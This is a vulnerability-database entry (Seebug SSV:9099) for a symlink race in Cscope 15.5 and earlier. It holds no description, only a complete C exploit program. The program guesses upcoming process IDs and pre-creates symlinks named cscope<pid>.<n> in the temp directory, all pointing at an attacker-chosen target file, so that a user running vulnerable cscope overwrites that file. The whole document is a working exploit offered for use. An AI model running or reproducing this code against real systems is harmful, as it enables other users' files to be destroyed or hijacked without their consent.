Cscope <= 15.5 Symlink Vulnerability Exploit

2008-07-16T00:00:00
ID SSV:9099
Type seebug
Reporter Root
Modified 2008-07-16T00:00:00

Description

No description provided by source.

                                        
                                            
                                                /* RXcscope exploit version 15.5 and minor */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define BSIZE 64

int
main(int ac, char *av[]) {
        pid_t cur;
        u_int i=0, lst;
        char buffer[BSIZE + 1];
        
        fprintf(stdout, "\n --[ Cscope Exploit ]--\n"\
                        " version 15.5 and minor \n" \
                        " Gangstuck / Psirac\n" \
                        " <research@rexotec.com>\n\n");
                        
        if (ac != 3) {
                fprintf(stderr, "Usage: %s <target> <max file creation>\n", av[0]);
                return 1;
        }
        
        cur=getpid();
        lst=cur+atoi(av[2]);
        
        fprintf(stdout, " -> Current process id is ..... [%5d]\n" \
                        " -> Last process id is ........ [%5d]\n", cur, lst);
        
        while (++cur != lst) {
                snprintf(buffer, BSIZE, "%s/cscope%d.%d", P_tmpdir, cur, (i==2) ? --i : ++i);
                symlink(av[1], buffer);
        }

        return 0;
}